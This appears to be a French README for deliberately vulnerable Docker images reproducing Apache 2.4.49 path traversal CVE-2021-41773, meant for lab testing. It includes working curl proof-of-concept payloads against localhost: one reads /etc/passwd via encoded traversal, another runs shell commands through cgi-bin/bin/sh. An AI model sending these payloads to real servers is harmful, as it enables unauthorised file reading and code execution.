Images Docker vulnérables pour CVE-2021-41773 contournement de chemin Apache

Cette vulnérabilité ne s'applique qu'à la version 2.4.49 qui possède des configurations non standard spécifiques. Dans certaines situations, cela peut entraîner une lecture de fichier ou une exécution de code.

https://twitter.com/ptswarm/status/1445376079548624899

Configuration vulnérable pour la lecture de fichier

Les conteneurs peuvent être tirés directement de Docker Hub en utilisant

docker pull blueteamsteve/cve-2021-41773:no-cgid

et exécutés en utilisant

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

Les journaux Apache peuvent être consultés avec la commande ci-dessous, ou vous pouvez simplement retirer le "-dit" de la commande d'exécution ci-dessus pour diffuser stdio docker logs <container-id>

PoC pour la lecture de fichier

curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

Configuration vulnérable pour l'exécution de code (RCE)

Les conteneurs peuvent être tirés directement de Docker Hub en utilisant

docker pull blueteamsteve/cve-2021-41773:with-cgid

et exécutés en utilisant

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

Les journaux Apache peuvent être consultés avec la commande ci-dessous, ou vous pouvez simplement retirer le "-dit" de la commande d'exécution ci-dessus pour diffuser stdio docker logs <container-id>

PoC pour l'exécution de code (RCE)

curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'

Construire des conteneurs Docker personnalisés

Modifiez et construisez vos propres versions en utilisant le dockerfile et les fichiers httpd.conf modèles dans les sous-répertoires

• Utilisez ./no-cgi pour la configuration vulnérable à la lecture de fichier
• Utilisez ./with-cgi pour la configuration vulnérable à l'exécution de code